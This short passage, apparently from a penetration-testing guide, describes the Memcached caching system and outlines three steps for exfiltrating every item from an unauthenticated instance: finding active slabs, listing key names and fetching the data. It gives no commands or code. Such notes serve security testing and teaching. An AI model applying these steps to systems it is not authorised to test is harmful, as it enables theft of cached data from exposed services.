Memcached (pronunciation: mem-cashed, mem-cash-dee) is a general-purpose distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read. (From wikipedia) Although Memcached supports SASL, most instances are exposed without authentication.

To ex-filtrate all the information saved inside a memcache instance you need to:
Find slabs with active items
Get the key names of the slabs detected before
Ex-filtrate the saved data by getting the key names
Remember that this service is just a cache, so data may be appearing and disappearing.
